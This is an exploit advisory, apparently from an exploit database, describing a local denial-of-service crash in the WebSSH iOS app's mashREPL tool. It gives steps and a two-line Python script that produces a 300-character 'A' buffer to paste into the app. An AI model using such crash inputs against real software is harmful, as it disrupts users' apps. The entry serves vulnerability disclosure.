WebSSH for iOS 14.16.10 mashREPL Denial of Service (PoC)

2021.05.19

Credit: Luis Martinez

Risk: Medium

Local: Yes

Remote: No

CVE: N/A

CWE: N/A

# Exploit Title: WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC)
# Author: Luis Martinez
# Discovery Date: 2021-05-18
# Vendor Homepage: https://apps.apple.com/mx/app/webssh-ssh-client/id497714887
# Software Link: App Store for iOS devices
# Tested Version: 14.16.10
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: iPhone 7 iOS 14.5.1

# Steps to Produce the Crash:
# 1.- Run python code: WebSSH_for_iOS_14.16.10.py
# 2.- Copy content to clipboard
# 3.- Open "WebSSH for iOS"
# 4.- Click -> Tools
# 5.- Click -> mashREPL
# 6.- Paste ClipBoard on "mashREPL>"
# 7.- Intro
# 8.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 300
print (buffer)

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WebSSH for iOS 14.16.10 mashREPL Denial of Service (PoC)

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